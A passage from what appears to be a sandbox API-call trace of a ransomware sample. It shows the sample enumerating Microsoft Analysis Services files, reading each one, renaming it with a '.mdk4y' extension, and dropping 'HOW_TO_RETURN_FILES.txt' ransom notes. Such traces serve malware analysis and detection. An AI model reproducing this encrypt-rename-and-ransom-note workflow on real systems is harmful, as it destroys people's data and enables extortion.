files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0126.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820147400000) returned 1 [0126.244] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4360, lpOverlapped=0x0) returned 1 [0126.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820148800000) returned 1 [0126.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820148800000) returned 1 [0126.258] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.mdk4y" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.mdk4y")) returned 1 [0126.259] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.259] AreFileApisANSI () returned 1 [0126.259] GetACP () returned 0x4e4 [0126.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="as90.xsl", cchWideChar=8, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="as90.xsl", lpUsedDefaultChar=0x37dec0) returned 8 [0126.259] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0126.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820149700000) returned 1 [0126.267] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4932, lpOverlapped=0x0) returned 1 [0126.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820149800000) returned 1 [0126.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820149800000) returned 1 [0126.268] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.mdk4y" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.mdk4y")) returned 1 [0126.269] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.269] AreFileApisANSI () returned 1 [0126.269] GetACP () returned 0x4e4 [0126.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Informix.xsl", cchWideChar=12, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Informix.xsld85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0126.269] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0126.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820150000000) returned 1 [0126.270] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x78e4, lpOverlapped=0x0) returned 1 [0126.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820164400000) returned 1 [0126.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820164400000) returned 1 [0126.415] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.mdk4y" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.mdk4y")) returned 1 [0126.415] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.415] AreFileApisANSI () returned 1 [0126.415] GetACP () returned 0x4e4 [0126.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msjet.xsl", cchWideChar=9, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="msjet.xslxsl", lpUsedDefaultChar=0x37dec0) returned 9 [0126.415] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0126.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820164500000) returned 1 [0126.416] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x712e, lpOverlapped=0x0) returned 1 [0126.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820168000000) returned 1 [0126.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820168000000) returned 1 [0126.451] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.mdk4y" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.mdk4y")) returned 1 [0126.452] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.452] AreFileApisANSI () returned 1 [0126.452] GetACP () returned 0x4e4 [0126.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sql2000.xsl", cchWideChar=11, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="sql2000.xsll", lpUsedDefaultChar=0x37dec0) returned 11 [0126.452] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0126.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820168300000) returned 1 [0126.453] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x851c, lpOverlapped=0x0) returned 1 [0126.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820179300000) returned 1 [0126.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820179300000) returned 1 [0126.564] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.mdk4y" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.mdk4y")) returned 1 [0126.565] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.565] AreFileApisANSI () returned 1 [0126.565] GetACP () returned 0x4e4 [0126.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sql70.xsl", cchWideChar=9, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="sql70.xslsl", lpUsedDefaultChar=0x37dec0) returned 9 [0126.565] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0126.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820179700000) returned 1 [0126.567] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7d92, lpOverlapped=0x0) returned 1 [0126.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820184900000) returned 1 [0126.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820184900000) returned 1 [0126.619] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.mdk4y" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.mdk4y")) returned 1 [0126.620] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.620] AreFileApisANSI () returned 1 [0126.620] GetACP () returned 0x4e4 [0126.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sql90.xsl", cchWideChar=9, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="sql90.xsl", lpUsedDefaultChar=0x37dec0) returned 9 [0126.620] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0126.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820185000000) returned 1 [0126.620] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x9a5b, lpOverlapped=0x0) returned 1 [0126.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820190400000) returned 1 [0126.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820190400000) returned 1 [0126.675] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.mdk4y" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.mdk4y")) returned 1 [0126.675] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.675] AreFileApisANSI () returned 1 [0126.675] GetACP () returned 0x4e4 [0126.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sybase.xsl", cchWideChar=10, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Sybase.xsll", lpUsedDefaultChar=0x37dec0) returned 10 [0126.676] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0126.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820190700000) returned 1 [0126.677] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x745e, lpOverlapped=0x0) returned 1 [0126.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820191300000) returned 1 [0126.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1820191400000) returned 1 [0126.684] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.mdk4y" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.mdk4y")) returned 1 [0126.685] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0126.685] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0126.685] AreFileApisANSI () returned 1 [0126.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0126.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0126.685] GetFileType (hFile=0x130) returned 0x1 [0126.686] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0126.686] AreFileApisANSI () returned 1 [0126.686] GetACP () returned 0x4e4 [0126.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msmdlocal.dll", cchWideChar=13, lpMultiByteStr=0x6aaf44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msmdlocal.dllT+xhw==", lpUsedDefaultChar=0x37df4c) returned 13 [0126.686] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0126.686] AreFileApisANSI () returned 1 [0126.686] GetACP () returned 0x4e4 [0126.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msmgdsrv.dll", cchWideChar=12, lpMultiByteStr=0x6aaf44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msmgdsrv.dlll", lpUsedDefaultChar=0x37df4c) returned 12 [0126.686] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0126.686] AreFileApisANSI () returned 1 [0126.686] GetACP () returned 0x4e4 [0126.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msolap100.dll", cchWideChar=13, lpMultiByteStr=0x6aaf44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msolap100.dll", lpUsedDefaultChar=0x37df4c) returned 13 [0126.687] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0126.687] AreFileApisANSI () returned 1 [0126.687] GetACP () returned 0x4e4 [0126.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msolui100.dll", cchWideChar=13, lpMultiByteStr=0x6aaf44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msolui100.dll", lpUsedDefaultChar=0x37df4c) returned 13 [0126.687] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0126.687] AreFileApisANSI () returned 1 [0126.687] GetACP () returned 0x4e4 [0126.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Resources", cchWideChar=9, lpMultiByteStr=0x6aaf44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Resources.dll", lpUsedDefaultChar=0x37df4c) returned 9 [0126.687] AreFileApisANSI () returned 1 [0126.687] GetACP () returned 0x4e4 [0126.687] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=67, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\h") returned 67 [0126.687] AreFileApisANSI () returned 1 [0126.687] GetACP () returned 0x4e4 [0126.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0126.687] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.687] AreFileApisANSI () returned 1 [0126.687] GetACP () returned 0x4e4 [0126.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0126.687] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.687] AreFileApisANSI () returned 1 [0126.687] GetACP () returned 0x4e4 [0126.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1033f+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 4 [0126.688] AreFileApisANSI () returned 1 [0126.688] GetACP () returned 0x4e4 [0126.688] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=72, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\\\Pȁ") returned 72 [0126.689] AreFileApisANSI () returned 1 [0126.689] GetACP () returned 0x4e4 [0126.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b75e4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".w/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 1 [0126.689] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bf698 | out: lpFindFileData=0x6bf698) returned 1 [0126.689] AreFileApisANSI () returned 1 [0126.689] GetACP () returned 0x4e4 [0126.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b75e4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="../+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 2 [0126.689] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bf698 | out: lpFindFileData=0x6bf698) returned 1 [0126.689] AreFileApisANSI () returned 1 [0126.689] GetACP () returned 0x4e4 [0126.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msmdsrv.rll", cchWideChar=11, lpMultiByteStr=0x6b75e4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="msmdsrv.rllaL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 11 [0126.689] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0126.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1820191900000) returned 1 [0126.689] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xa2b58, lpOverlapped=0x0) returned 1 [0126.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1820199600000) returned 1 [0126.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1820199600000) returned 1 [0126.773] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.mdk4y" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.mdk4y")) returned 1 [0126.774] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bf698 | out: lpFindFileData=0x6bf698) returned 1 [0126.774] AreFileApisANSI () returned 1 [0126.774] GetACP () returned 0x4e4 [0126.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msolui100.rll", cchWideChar=13, lpMultiByteStr=0x6b75e4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="msolui100.rll5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 13 [0126.774] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0126.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1820200500000) returned 1 [0126.775] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x3a18, lpOverlapped=0x0) returned 1 [0126.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1820204900000) returned 1 [0126.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1820204900000) returned 1 [0126.820] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.mdk4y" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.mdk4y")) returned 1 [0126.821] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bf698 | out: lpFindFileData=0x6bf698) returned 0 [0126.821] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0126.821] AreFileApisANSI () returned 1 [0126.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0126.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0126.843] GetFileType (hFile=0x13c) returned 0x1 [0126.844] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0126.844] FindClose (in: 